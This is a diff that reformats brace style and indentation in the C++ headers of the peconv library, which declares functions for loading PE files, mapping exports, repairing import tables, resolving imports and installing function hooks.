std::map<ExportedFunc, ULONGLONG> func_to_va;
std::map<ULONGLONG, DllInfo> dll_base_to_info;
};
/**
A map associating DLL shortname with the base(s) at which it was mapped
*/
std::map<std::string, std::set<ULONGLONG>> dll_shortname_to_base;
std::map<ULONGLONG, DllInfo> dll_base_to_info;
};
}; //namespace peconv

View File

@@ -10,51 +10,52 @@
#include "buffer_util.h"
namespace peconv {
namespace peconv
{
/**
Maps a file with the given path and copies its raw content into the output buffer.
If read_size is not zero, it reads maximum read_size of bytes. If read_size is zero, it reads the full file.
The actual read size is returned back in read_size.
Automatically allocates a buffer of the required size.
*/
peconv::UNALIGNED_BUF load_file(IN LPCTSTR filename, OUT size_t &r_size);
/**
Maps a file with the given path and copies its raw content into the output buffer.
If read_size is not zero, it reads maximum read_size of bytes. If read_size is zero, it reads the full file.
The actual read size is returned back in read_size.
Automatically allocates a buffer of the required size.
*/
peconv::UNALIGNED_BUF load_file(IN LPCTSTR filename, OUT size_t &r_size);
/**
Reads a raw content of the file with the given path.
If read_size is not zero, it reads maximum read_size of bytes. If read_size is zero, it reads the full file.
The actual read size is returned back in read_size.
Automatically allocates a buffer of the required size.
*/
peconv::UNALIGNED_BUF read_from_file(IN LPCTSTR path, IN OUT size_t &read_size);
/**
Reads a raw content of the file with the given path.
If read_size is not zero, it reads maximum read_size of bytes. If read_size is zero, it reads the full file.
The actual read size is returned back in read_size.
Automatically allocates a buffer of the required size.
*/
peconv::UNALIGNED_BUF read_from_file(IN LPCTSTR path, IN OUT size_t &read_size);
/**
Writes a buffer of bytes into a file of given path.
\param path : the path to the output file
\param dump_data : the buffer to be dumped
\param dump_size : the size of data to be dumped (in bytes)
\return true if succeeded, false if failed
*/
bool dump_to_file(IN LPCTSTR path, IN PBYTE dump_data, IN size_t dump_size);
/**
Writes a buffer of bytes into a file of given path.
\param path : the path to the output file
\param dump_data : the buffer to be dumped
\param dump_size : the size of data to be dumped (in bytes)
\return true if succeeded, false if failed
*/
bool dump_to_file(IN LPCTSTR path, IN PBYTE dump_data, IN size_t dump_size);
/**
Free the buffer allocated by load_file/read_from_file
*/
void free_file(IN peconv::UNALIGNED_BUF buffer);
/**
Free the buffer allocated by load_file/read_from_file
*/
void free_file(IN peconv::UNALIGNED_BUF buffer);
/**
Get the file name from the given path.
*/
std::string get_file_name(IN const std::string full_path);
/**
Get the file name from the given path.
*/
std::string get_file_name(IN const std::string full_path);
/**
Get the directory name from the given path. It assumes that a directory name always ends with a separator ("/" or "\")
*/
std::string get_directory_name(IN const std::string full_path);
/**
Get the directory name from the given path. It assumes that a directory name always ends with a separator ("/" or "\")
*/
std::string get_directory_name(IN const std::string full_path);
/**
Find a position of possible file extension. If not found, gives string length.
*/
size_t find_extension_pos(IN const std::string str);
/**
Find a position of possible file extension. If not found, gives string length.
*/
size_t find_extension_pos(IN const std::string str);
}; //namespace peconv

View File

@@ -7,14 +7,15 @@
#include <windows.h>
namespace peconv {
namespace peconv
{
/**
Try to find a base to which the PE file was relocated, basing on the filled relocations.
WARNING: the found base is an estimate, and sometimes may not be fully accurate.
\param module_ptr : the module which's base is being searched
\param module_size : the size of the given module
\return the base to which the module was relocated
*/
ULONGLONG find_base_candidate(IN BYTE *module_ptr, IN size_t module_size);
/**
Try to find a base to which the PE file was relocated, basing on the filled relocations.
WARNING: the found base is an estimate, and sometimes may not be fully accurate.
\param module_ptr : the module which's base is being searched
\param module_size : the size of the given module
\return the base to which the module was relocated
*/
ULONGLONG find_base_candidate(IN BYTE *module_ptr, IN size_t module_size);
};

View File

@@ -20,100 +20,107 @@
#define MIN_DLL_LEN 5
namespace peconv {
namespace peconv
{
/**
a helper class that allows to store information about functions that could not be covered by the given mapping
/**
a helper class that allows to store information about functions that could not be covered by the given mapping
*/
class ImpsNotCovered
{
public:
ImpsNotCovered() {}
~ImpsNotCovered() {}
/*
Number of stored records
*/
class ImpsNotCovered
size_t count()
{
public:
ImpsNotCovered() {}
~ImpsNotCovered() {}
/*
Number of stored records
*/
size_t count() { return thunkToAddr.size(); }
return thunkToAddr.size();
}
void insert(DWORD thunkRVA, ULONGLONG searchedAddr);
void insert(DWORD thunkRVA, ULONGLONG searchedAddr);
std::map<DWORD, ULONGLONG> thunkToAddr; //addresses of not recovered functions with their thunks (call_via)
};
std::map<DWORD, ULONGLONG> thunkToAddr; //addresses of not recovered functions with their thunks (call_via)
};
/**
fix imports in the given module, using the given map of all available exports
*/
bool fix_imports(IN OUT PVOID modulePtr, IN size_t moduleSize, IN const peconv::ExportsMapper& exportsMap, OUT OPTIONAL peconv::ImpsNotCovered* notCovered);
/**
a helper class that allows to find out where the functions are imported from
*/
class ImportedDllCoverage
{
public:
/**
fix imports in the given module, using the given map of all available exports
A constructor of an object of ImportedDllCoverage class.
\param _addresses : the list of filled imports (VAs): the addresses to be covered
\param _exportsMap : the map of the exports of all the loaded DLLs (the space in which we will be searching)
*/
bool fix_imports(IN OUT PVOID modulePtr, IN size_t moduleSize, IN const peconv::ExportsMapper& exportsMap, OUT OPTIONAL peconv::ImpsNotCovered* notCovered);
/**
a helper class that allows to find out where the functions are imported from
*/
class ImportedDllCoverage
ImportedDllCoverage(std::set<ULONGLONG>& _addresses, const peconv::ExportsMapper& _exportsMap)
: addresses(_addresses), exportsMap(_exportsMap)
{
public:
/**
A constructor of an object of ImportedDllCoverage class.
\param _addresses : the list of filled imports (VAs): the addresses to be covered
\param _exportsMap : the map of the exports of all the loaded DLLs (the space in which we will be searching)
*/
ImportedDllCoverage(std::set<ULONGLONG>& _addresses, const peconv::ExportsMapper& _exportsMap)
: addresses(_addresses), exportsMap(_exportsMap)
{
}
}
/**
Checks if all the addresses can be covered by one DLL. If yes, this dll will be saved into: dllName.
\return true if the covering DLL for the addresses was found. false otherwise.
*/
bool findCoveringDll();
/**
Checks if all the addresses can be covered by one DLL. If yes, this dll will be saved into: dllName.
\return true if the covering DLL for the addresses was found. false otherwise.
*/
bool findCoveringDll();
/**
Maps the addresses from the set to functions from the given DLL.
Results are saved into: addrToFunc.
Addresses that could not be covered by the given DLL are saved into notFound.
Before each execution, the content of involved variables is erased.
\param _mappedDllName : the name of the DLL that we will be used to mapping. This DLL is saved into mappedDllName.
\return a number of covered functions
*/
size_t mapAddressesToFunctions(const std::string &_mappedDllName);
/**
Maps the addresses from the set to functions from the given DLL.
Results are saved into: addrToFunc.
Addresses that could not be covered by the given DLL are saved into notFound.
Before each execution, the content of involved variables is erased.
\param _mappedDllName : the name of the DLL that we will be used to mapping. This DLL is saved into mappedDllName.
\return a number of covered functions
*/
size_t mapAddressesToFunctions(const std::string &_mappedDllName);
/**
Check if the functions mapping is complete.
\return the status: true if all the addresses are mapped to specific exports, false if not
*/
bool isMappingComplete() { return (addresses.size() == addrToFunc.size()) ? true : false; }
/**
Check if the functions mapping is complete.
\return the status: true if all the addresses are mapped to specific exports, false if not
*/
bool isMappingComplete()
{
return (addresses.size() == addrToFunc.size()) ? true : false;
}
/**
A mapping associating each of the covered function addresses with the set of exports (from mapped DLL) that cover this address
*/
std::map<ULONGLONG, std::set<ExportedFunc>> addrToFunc;
/**
A mapping associating each of the covered function addresses with the set of exports (from mapped DLL) that cover this address
*/
std::map<ULONGLONG, std::set<ExportedFunc>> addrToFunc;
/**
Addresses of the functions not found in the mapped DLL
*/
std::set<ULONGLONG> notFound;
/**
Addresses of the functions not found in the mapped DLL
*/
std::set<ULONGLONG> notFound;
/**
Name of the covering DLL
*/
std::string dllName;
/**
Name of the covering DLL
*/
std::string dllName;
protected:
/**
A name of the DLL that was used for mapping. In a typical scenario it will be the same as covering DLL, but may be set different.
*/
std::string mappedDllName;
protected:
/**
A name of the DLL that was used for mapping. In a typical scenario it will be the same as covering DLL, but may be set different.
*/
std::string mappedDllName;
/**
A supplied set of the addresses of imported functions.
Those addressed will be covered (associated with the corresponding exports from available DLLs, defined by exportsMap).
*/
std::set<ULONGLONG> &addresses;
/**
A supplied set of the addresses of imported functions.
Those addressed will be covered (associated with the corresponding exports from available DLLs, defined by exportsMap).
*/
std::set<ULONGLONG> &addresses;
/**
A supplied exportsMap. Only used as a lookup, no changes applied.
*/
const peconv::ExportsMapper& exportsMap;
};
/**
A supplied exportsMap. Only used as a lookup, no changes applied.
*/
const peconv::ExportsMapper& exportsMap;
};
}

View File

@@ -9,42 +9,45 @@
#include <string>
#include <map>
namespace peconv {
namespace peconv
{
/**
A base class for functions resolver.
*/
class t_function_resolver
{
public:
/**
A base class for functions resolver.
Get the address (VA) of the function with the given name, from the given DLL.
\param func_name : the name of the function
\param lib_name : the name of the DLL
\return Virtual Address of the exported function
*/
class t_function_resolver {
public:
/**
Get the address (VA) of the function with the given name, from the given DLL.
\param func_name : the name of the function
\param lib_name : the name of the DLL
\return Virtual Address of the exported function
*/
virtual FARPROC resolve_func(LPCSTR lib_name, LPCSTR func_name) = 0;
};
virtual FARPROC resolve_func(LPCSTR lib_name, LPCSTR func_name) = 0;
};
/**
A default functions resolver, using LoadLibraryA and GetProcAddress.
*/
class default_func_resolver : t_function_resolver
{
public:
/**
Get the address (VA) of the function with the given name, from the given DLL, using LoadLibraryA and GetProcAddress.
\param func_name : the name of the function
\param lib_name : the name of the DLL
\return Virtual Address of the exported function
*/
virtual FARPROC resolve_func(LPCSTR lib_name, LPCSTR func_name);
/**
A default functions resolver, using LoadLibraryA and GetProcAddress.
Load the DLL using LoadLibraryA.
\param lib_name : the name of the DLL
\return base of the loaded module
*/
class default_func_resolver : t_function_resolver {
public:
/**
Get the address (VA) of the function with the given name, from the given DLL, using LoadLibraryA and GetProcAddress.
\param func_name : the name of the function
\param lib_name : the name of the DLL
\return Virtual Address of the exported function
*/
virtual FARPROC resolve_func(LPCSTR lib_name, LPCSTR func_name);
virtual HMODULE load_library(LPCSTR lib_name);
/**
Load the DLL using LoadLibraryA.
\param lib_name : the name of the DLL
\return base of the loaded module
*/
virtual HMODULE load_library(LPCSTR lib_name);
std::map<std::string, HMODULE> nameToModule;
};
std::map<std::string, HMODULE> nameToModule;
};
}; //namespace peconv

View File

@@ -13,134 +13,138 @@
#include <map>
#include "peconv/buffer_util.h"
namespace peconv {
namespace peconv
{
/**
A buffer storing a binary patch, that can be applied on a module. Used as a restorable backup in case of function patching.
*/
class PatchBackup
{
public:
/**
Creates an empty backup.
*/
PatchBackup()
: buffer(nullptr), bufferSize(0), sourcePtr(nullptr)
{
}
~PatchBackup()
{
deleteBackup();
}
/**
A buffer storing a binary patch, that can be applied on a module. Used as a restorable backup in case of function patching.
Destroys the backup and resets internal fields.
*/
class PatchBackup {
public:
/**
Creates an empty backup.
*/
PatchBackup()
: buffer(nullptr), bufferSize(0), sourcePtr(nullptr)
{
void deleteBackup()
{
if (buffer) {
delete[] buffer;
bufferSize = 0;
sourcePtr = nullptr;
}
~PatchBackup() {
deleteBackup();
}
/**
Destroys the backup and resets internal fields.
*/
void deleteBackup()
{
if (buffer) {
delete[] buffer;
bufferSize = 0;
sourcePtr = nullptr;
}
}
/**
Reads bytes from the binary to the backup. The source buffer must be within the current process.
*/
bool makeBackup(BYTE *patch_ptr, size_t patch_size);
/**
Applies the backup back to the pointer from which it was read.
*/
bool applyBackup();
/**
Checks if the buffer was filled.
*/
bool isBackup()
{
return buffer != nullptr;
}
protected:
BYTE *buffer;
size_t bufferSize;
BYTE *sourcePtr;
};
}
/**
A functions resolver that can be used for hooking IAT. Allows for defining functions that are supposed to be replaced.
Reads bytes from the binary to the backup. The source buffer must be within the current process.
*/
class hooking_func_resolver : peconv::default_func_resolver {
public:
/**
Define a function that will be replaced.
\param name : a name of the function that will be replaced
\param function : an address of the replacement function
*/
void add_hook(const std::string &name, FARPROC function)
{
hooks_map[name] = function;
}
/**
Define a DLL that will be replaced.
\param dll_name : a name of the DLL to be replaced
\param new_dll : a name of the new DLL that will be loaded instead
*/
void replace_dll(std::string dll_name, const std::string &new_dll)
{
dll_replacements_map[dll_name] = new_dll;
}
/**
Get the address (VA) of the function with the given name, from the given DLL. If the function was hooked, it retrieves the address of the replacement function instead.
\param func_name : the name of the function
\param lib_name : the name of the DLL
\return Virtual Address of the exported function, or the address of the replacement function.
*/
virtual FARPROC resolve_func(LPCSTR lib_name, LPCSTR func_name);
private:
std::map<std::string, FARPROC> hooks_map;
std::map<std::string, std::string> dll_replacements_map;
};
bool makeBackup(BYTE *patch_ptr, size_t patch_size);
/**
Installs inline hook at the given ptr. Returns the number of bytes overwriten.
64 bit version.
\param ptr : pointer to the function to be replaced
\param new_offset : VA of the new function
\param backup : (optional) backup that can be used to reverse the changes
\return size of the applied patch
Applies the backup back to the pointer from which it was read.
*/
size_t redirect_to_local64(void *ptr, ULONGLONG new_offset, PatchBackup* backup = nullptr);
bool applyBackup();
/**
Installs inline hook at the given ptr. Returns the number of bytes overwriten.
32 bit version.
\param ptr : pointer to the function to be replaced
\param new_offset : VA of the new function
\param backup : (optional) backup that can be used to reverse the changes
\return size of the applied patch
Checks if the buffer was filled.
*/
size_t redirect_to_local32(void *ptr, DWORD new_offset, PatchBackup* backup = nullptr);
bool isBackup()
{
return buffer != nullptr;
}
protected:
BYTE *buffer;
size_t bufferSize;
BYTE *sourcePtr;
};
/**
A functions resolver that can be used for hooking IAT. Allows for defining functions that are supposed to be replaced.
*/
class hooking_func_resolver : peconv::default_func_resolver
{
public:
/**
Define a function that will be replaced.
\param name : a name of the function that will be replaced
\param function : an address of the replacement function
*/
void add_hook(const std::string &name, FARPROC function)
{
hooks_map[name] = function;
}
/**
Installs inline hook at the given ptr. Returns the number of bytes overwriten.
Uses bitness of the current applications for the bitness of the intalled hook.
\param ptr : pointer to the function to be replaced
\param new_function_ptr : pointer to the new function
\param backup : (optional) backup that can be used to reverse the changes
\return size of the applied patch
Define a DLL that will be replaced.
\param dll_name : a name of the DLL to be replaced
\param new_dll : a name of the new DLL that will be loaded instead
*/
size_t redirect_to_local(void *ptr, void* new_function_ptr, PatchBackup* backup = nullptr);
void replace_dll(std::string dll_name, const std::string &new_dll)
{
dll_replacements_map[dll_name] = new_dll;
}
/**
Replaces a target address of JMP [DWORD] or CALL [DWORD]
Get the address (VA) of the function with the given name, from the given DLL. If the function was hooked, it retrieves the address of the replacement function instead.
\param func_name : the name of the function
\param lib_name : the name of the DLL
\return Virtual Address of the exported function, or the address of the replacement function.
*/
bool replace_target(BYTE *ptr, ULONGLONG dest_addr);
virtual FARPROC resolve_func(LPCSTR lib_name, LPCSTR func_name);
private:
std::map<std::string, FARPROC> hooks_map;
std::map<std::string, std::string> dll_replacements_map;
};
/**
Installs inline hook at the given ptr. Returns the number of bytes overwriten.
64 bit version.
\param ptr : pointer to the function to be replaced
\param new_offset : VA of the new function
\param backup : (optional) backup that can be used to reverse the changes
\return size of the applied patch
*/
size_t redirect_to_local64(void *ptr, ULONGLONG new_offset, PatchBackup* backup = nullptr);
/**
Installs inline hook at the given ptr. Returns the number of bytes overwriten.
32 bit version.
\param ptr : pointer to the function to be replaced
\param new_offset : VA of the new function
\param backup : (optional) backup that can be used to reverse the changes
\return size of the applied patch
*/
size_t redirect_to_local32(void *ptr, DWORD new_offset, PatchBackup* backup = nullptr);
/**
Installs inline hook at the given ptr. Returns the number of bytes overwriten.
Uses bitness of the current applications for the bitness of the intalled hook.
\param ptr : pointer to the function to be replaced
\param new_function_ptr : pointer to the new function
\param backup : (optional) backup that can be used to reverse the changes
\return size of the applied patch
*/
size_t redirect_to_local(void *ptr, void* new_function_ptr, PatchBackup* backup = nullptr);
/**
Replaces a target address of JMP [DWORD] or CALL [DWORD]
*/
bool replace_target(BYTE *ptr, ULONGLONG dest_addr);
};//namespace peconv

View File

@@ -12,92 +12,92 @@
#include "function_resolver.h"
#include "exports_mapper.h"
namespace peconv {
namespace peconv
{
/**
A class defining a callback that will be executed when the next imported function was found
*/
class ImportThunksCallback
{
public:
ImportThunksCallback(BYTE* _modulePtr, size_t _moduleSize)
: modulePtr(_modulePtr), moduleSize(_moduleSize)
{
this->is64b = is64bit((BYTE*)modulePtr);
}
/**
A class defining a callback that will be executed when the next imported function was found
*/
class ImportThunksCallback
{
public:
ImportThunksCallback(BYTE* _modulePtr, size_t _moduleSize)
: modulePtr(_modulePtr), moduleSize(_moduleSize)
{
this->is64b = is64bit((BYTE*)modulePtr);
}
/**
A callback that will be executed by process_import_table when the next imported function was found
\param libName : the pointer to the DLL name
\param origFirstThunkPtr : the pointer to the Original First Thunk
\param firstThunkPtr : the pointer to the First Thunk
\return : true if processing succeeded, false otherwise
*/
virtual bool processThunks(LPSTR libName, ULONG_PTR origFirstThunkPtr, ULONG_PTR firstThunkPtr) = 0;
protected:
BYTE* modulePtr;
size_t moduleSize;
bool is64b;
};
struct ImportsCollection
{
public:
ImportsCollection() {};
~ImportsCollection()
{
std::map<DWORD, peconv::ExportedFunc*>::iterator itr;
for (itr = thunkToFunc.begin(); itr != thunkToFunc.end(); ++itr) {
peconv::ExportedFunc* exp = itr->second;
if (!exp) continue;
delete exp;
}
thunkToFunc.clear();
}
size_t size()
{
return thunkToFunc.size();
}
std::map<DWORD, peconv::ExportedFunc*> thunkToFunc;
};
/**
Process the given PE's import table and execute the callback each time when the new imported function was found
\param modulePtr : a pointer to the loded PE (in virtual format)
\param moduleSize : a size of the supplied PE
\param callback : a callback that will be executed to process each imported function
A callback that will be executed by process_import_table when the next imported function was found
\param libName : the pointer to the DLL name
\param origFirstThunkPtr : the pointer to the Original First Thunk
\param firstThunkPtr : the pointer to the First Thunk
\return : true if processing succeeded, false otherwise
*/
bool process_import_table(IN BYTE* modulePtr, IN SIZE_T moduleSize, IN ImportThunksCallback *callback);
virtual bool processThunks(LPSTR libName, ULONG_PTR origFirstThunkPtr, ULONG_PTR firstThunkPtr) = 0;
/**
Fills imports of the given PE with the help of the defined functions resolver.
\param modulePtr : a pointer to the loded PE (in virtual format)
\param func_resolver : a resolver that will be used to fill the thunk of the import
\return : true if loading all functions succeeded, false otherwise
*/
bool load_imports(BYTE* modulePtr, t_function_resolver* func_resolver=nullptr);
protected:
BYTE* modulePtr;
size_t moduleSize;
bool is64b;
};
/**
Checks if the given PE has a valid import table.
*/
bool has_valid_import_table(const PBYTE modulePtr, size_t moduleSize);
/**
Checks if the given lib_name is a valid DLL name.
A valid name must contain printable characters. Empty name is also acceptable (may have been erased).
*/
bool is_valid_import_name(const PBYTE modulePtr, const size_t moduleSize, LPSTR lib_name);
struct ImportsCollection {
public:
ImportsCollection() {};
~ImportsCollection()
{
std::map<DWORD, peconv::ExportedFunc*>::iterator itr;
for (itr = thunkToFunc.begin(); itr != thunkToFunc.end(); ++itr) {
peconv::ExportedFunc* exp = itr->second;
if (!exp) continue;
delete exp;
}
thunkToFunc.clear();
}
/**
* Collects all the Import Thunks RVAs (via which Imports are called)
*/
bool collect_thunks(IN BYTE* modulePtr, IN SIZE_T moduleSize, OUT std::set<DWORD>& thunk_rvas);
size_t size()
{
return thunkToFunc.size();
}
bool collect_imports(IN BYTE* modulePtr, IN SIZE_T moduleSize, OUT ImportsCollection &collection);
std::map<DWORD, peconv::ExportedFunc*> thunkToFunc;
};
/**
Process the given PE's import table and execute the callback each time when the new imported function was found
\param modulePtr : a pointer to the loded PE (in virtual format)
\param moduleSize : a size of the supplied PE
\param callback : a callback that will be executed to process each imported function
\return : true if processing succeeded, false otherwise
*/
bool process_import_table(IN BYTE* modulePtr, IN SIZE_T moduleSize, IN ImportThunksCallback *callback);
/**
Fills imports of the given PE with the help of the defined functions resolver.
\param modulePtr : a pointer to the loded PE (in virtual format)
\param func_resolver : a resolver that will be used to fill the thunk of the import
\return : true if loading all functions succeeded, false otherwise
*/
bool load_imports(BYTE* modulePtr, t_function_resolver* func_resolver=nullptr);
/**
Checks if the given PE has a valid import table.
*/
bool has_valid_import_table(const PBYTE modulePtr, size_t moduleSize);
/**
Checks if the given lib_name is a valid DLL name.
A valid name must contain printable characters. Empty name is also acceptable (may have been erased).
*/
bool is_valid_import_name(const PBYTE modulePtr, const size_t moduleSize, LPSTR lib_name);
/**
* Collects all the Import Thunks RVAs (via which Imports are called)
*/
bool collect_thunks(IN BYTE* modulePtr, IN SIZE_T moduleSize, OUT std::set<DWORD>& thunk_rvas);
bool collect_imports(IN BYTE* modulePtr, IN SIZE_T moduleSize, OUT ImportsCollection &collection);
}; // namespace peconv

View File

@@ -16,79 +16,80 @@
#include "fix_imports.h"
#include "caves.h"
namespace peconv {
namespace peconv
{
/**
A class responsible for recovering the partially erased Import Table from the PE.
*/
class ImportsUneraser
{
public:
ImportsUneraser(PVOID _modulePtr, size_t _moduleSize)
: modulePtr((PBYTE)_modulePtr), moduleSize(_moduleSize)
{
is64 = peconv::is64bit((BYTE*)modulePtr);
}
/**
A class responsible for recovering the partially erased Import Table from the PE.
Fill the imported functions' names in the given Import Descriptor, using the given coverage.
Collect addressees of functions that couldn't be filled with the given mapping.
\param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the functions' names should be set
\param dllCoverage : a mapping associating addresses with the corresponding exports from available DLLs
\param not_covered : a set of addresses that could not be found in the supplied mapping
\return true if succeeded
*/
class ImportsUneraser
{
public:
ImportsUneraser(PVOID _modulePtr, size_t _moduleSize)
: modulePtr((PBYTE)_modulePtr), moduleSize(_moduleSize)
{
is64 = peconv::is64bit((BYTE*)modulePtr);
}
bool uneraseDllImports(IN OUT IMAGE_IMPORT_DESCRIPTOR* lib_desc, IN ImportedDllCoverage &dllCoverage, OUT OPTIONAL ImpsNotCovered* not_covered);
/**
Fill the imported functions' names in the given Import Descriptor, using the given coverage.
Collect addressees of functions that couldn't be filled with the given mapping.
\param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the functions' names should be set
\param dllCoverage : a mapping associating addresses with the corresponding exports from available DLLs
\param not_covered : a set of addresses that could not be found in the supplied mapping
\return true if succeeded
*/
bool uneraseDllImports(IN OUT IMAGE_IMPORT_DESCRIPTOR* lib_desc, IN ImportedDllCoverage &dllCoverage, OUT OPTIONAL ImpsNotCovered* not_covered);
/**
Recover the imported DLL name in the given Import Descriptor, filling it with the given dll_name.
*/
bool uneraseDllName(IMAGE_IMPORT_DESCRIPTOR* lib_desc, const std::string &dll_name);
/**
Recover the imported DLL name in the given Import Descriptor, filling it with the given dll_name.
*/
bool uneraseDllName(IMAGE_IMPORT_DESCRIPTOR* lib_desc, const std::string &dll_name);
protected:
/**
Copy the given DLL name into the given IMAGE_IMPORT_DESCRIPTOR. Validates the data correctness before writing.
\param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the DLL name should be set
\param dll_name : the DLL name that needs to be written into the lib_desc
\return true if succeeded
*/
bool writeFoundDllName(IMAGE_IMPORT_DESCRIPTOR* lib_desc, const std::string &dll_name);
protected:
/**
Copy the given DLL name into the given IMAGE_IMPORT_DESCRIPTOR. Validates the data correctness before writing.
\param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the DLL name should be set
\param dll_name : the DLL name that needs to be written into the lib_desc
\return true if succeeded
*/
bool writeFoundDllName(IMAGE_IMPORT_DESCRIPTOR* lib_desc, const std::string &dll_name);
/**
Fill the names of imported functions with names of the prepared mapping.
Collect addressees of functions that couldn't be filled with the given mapping.
\param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the functions' names should be set
\param ordinal_flag : the flag that is used to recognize import by ordinal (32 or 64 bit)
\param addr_to_func : a mapping assigning functions' addresses to their definitions (names etc.)
\param not_covered : a set of addresses that could not be found in the supplied mapping
\return true if succeeded
*/
template <typename FIELD_T, typename IMAGE_THUNK_DATA_T>
bool fillImportNames(IN OUT IMAGE_IMPORT_DESCRIPTOR* lib_desc,
IN const FIELD_T ordinal_flag,
IN std::map<ULONGLONG, std::set<ExportedFunc>> &addr_to_func,
OUT OPTIONAL ImpsNotCovered* not_covered
);
/**
Fill the names of imported functions with names of the prepared mapping.
Collect addressees of functions that couldn't be filled with the given mapping.
\param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the functions' names should be set
\param ordinal_flag : the flag that is used to recognize import by ordinal (32 or 64 bit)
\param addr_to_func : a mapping assigning functions' addresses to their definitions (names etc.)
\param not_covered : a set of addresses that could not be found in the supplied mapping
\return true if succeeded
*/
template <typename FIELD_T, typename IMAGE_THUNK_DATA_T>
bool fillImportNames(IN OUT IMAGE_IMPORT_DESCRIPTOR* lib_desc,
IN const FIELD_T ordinal_flag,
IN std::map<ULONGLONG, std::set<ExportedFunc>> &addr_to_func,
OUT OPTIONAL ImpsNotCovered* not_covered
);
template <typename FIELD_T>
bool findNameInBinaryAndFill(IMAGE_IMPORT_DESCRIPTOR* lib_desc,
LPVOID call_via_ptr,
LPVOID thunk_ptr,
const FIELD_T ordinal_flag,
std::map<ULONGLONG, std::set<ExportedFunc>> &addr_to_func
);
template <typename FIELD_T>
bool findNameInBinaryAndFill(IMAGE_IMPORT_DESCRIPTOR* lib_desc,
LPVOID call_via_ptr,
LPVOID thunk_ptr,
const FIELD_T ordinal_flag,
std::map<ULONGLONG, std::set<ExportedFunc>> &addr_to_func
);
/**
Fill the function data into the given IMAGE_THUNK_DATA.
\param desc : the poiner to IMAGE_THUNK_DATA that will be filled
\param ordinal_flag : an ordinal flag: 32 or 64 bit
\param foundFunc : the ExportedFunc that will be used for filling the desc
*/
template <typename FIELD_T, typename IMAGE_THUNK_DATA_T>
bool writeFoundFunction(IMAGE_THUNK_DATA_T* desc, const FIELD_T ordinal_flag, const ExportedFunc &foundFunc);
/**
Fill the function data into the given IMAGE_THUNK_DATA.
\param desc : the poiner to IMAGE_THUNK_DATA that will be filled
\param ordinal_flag : an ordinal flag: 32 or 64 bit
\param foundFunc : the ExportedFunc that will be used for filling the desc
*/
template <typename FIELD_T, typename IMAGE_THUNK_DATA_T>
bool writeFoundFunction(IMAGE_THUNK_DATA_T* desc, const FIELD_T ordinal_flag, const ExportedFunc &foundFunc);
PBYTE modulePtr;
size_t moduleSize;
bool is64;
};
PBYTE modulePtr;
size_t moduleSize;
bool is64;
};
}

View File

@@ -8,226 +8,227 @@
#include <windows.h>
#include <pshpack4.h>
namespace peconv {
namespace peconv
{
/**
IMAGE_LOAD_CONFIG_CODE_INTEGRITY: a structure used by IMAGE_LOAD_CONFIG_DIR - the Windows 10 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 {
WORD Flags; // Flags to indicate if CI information is available, etc.
WORD Catalog; // 0xFFFF means not available
DWORD CatalogOffset;
DWORD Reserved; // Additional bitmask to be defined later
} IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10;
/**
IMAGE_LOAD_CONFIG_CODE_INTEGRITY: a structure used by IMAGE_LOAD_CONFIG_DIR - the Windows 10 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 {
WORD Flags; // Flags to indicate if CI information is available, etc.
WORD Catalog; // 0xFFFF means not available
DWORD CatalogOffset;
DWORD Reserved; // Additional bitmask to be defined later
} IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10;
/**
IMAGE_LOAD_CONFIG_DIR32: the Windows 10 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR32_W10 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
DWORD DeCommitFreeBlockThreshold;
DWORD DeCommitTotalFreeThreshold;
DWORD LockPrefixTable; // VA
DWORD MaximumAllocationSize;
DWORD VirtualMemoryThreshold;
DWORD ProcessHeapFlags;
DWORD ProcessAffinityMask;
WORD CSDVersion;
WORD DependentLoadFlags;
DWORD EditList; // VA
DWORD SecurityCookie; // VA
DWORD SEHandlerTable; // VA
DWORD SEHandlerCount;
DWORD GuardCFCheckFunctionPointer; // VA
DWORD GuardCFDispatchFunctionPointer; // VA
DWORD GuardCFFunctionTable; // VA
DWORD GuardCFFunctionCount;
DWORD GuardFlags;
IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 CodeIntegrity;
DWORD GuardAddressTakenIatEntryTable; // VA
DWORD GuardAddressTakenIatEntryCount;
DWORD GuardLongJumpTargetTable; // VA
DWORD GuardLongJumpTargetCount;
DWORD DynamicValueRelocTable; // VA
DWORD CHPEMetadataPointer;
DWORD GuardRFFailureRoutine; // VA
DWORD GuardRFFailureRoutineFunctionPointer; // VA
DWORD DynamicValueRelocTableOffset;
WORD DynamicValueRelocTableSection;
WORD Reserved2;
DWORD GuardRFVerifyStackPointerFunctionPointer; // VA
DWORD HotPatchTableOffset;
DWORD Reserved3;
DWORD EnclaveConfigurationPointer; // VA
} IMAGE_LOAD_CONFIG_DIR32_W10;
/**
IMAGE_LOAD_CONFIG_DIR32: the Windows 10 version.
*/
typedef struct _IMAGE_LOAD_CONFIG_DIR32_W10 {
DWORD Size;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD GlobalFlagsClear;
DWORD GlobalFlagsSet;
DWORD CriticalSectionDefaultTimeout;
DWORD DeCommitFreeBlockThreshold;
DWORD DeCommitTotalFreeThreshold;
DWORD LockPrefixTable; // VA
DWORD MaximumAllocationSize;
DWORD VirtualMemoryThreshold;
DWORD ProcessHeapFlags;
DWORD ProcessAffinityMask;
WORD CSDVersion;
WORD DependentLoadFlags;
DWORD EditList; // VA
DWORD SecurityCookie; // VA
DWORD SEHandlerTable; // VA
DWORD SEHandlerCount;
DWORD GuardCFCheckFunctionPointer; // VA
DWORD GuardCFDispatchFunctionPointer; // VA
DWORD GuardCFFunctionTable; // VA
DWORD GuardCFFunctionCount;
DWORD GuardFlags;
IMAGE_LOAD_CONFIG_CODE_INTEGRITY_W10 CodeIntegrity;
DWORD GuardAddressTakenIatEntryTable; // VA
DWORD GuardAddressTakenIatEntryCount;
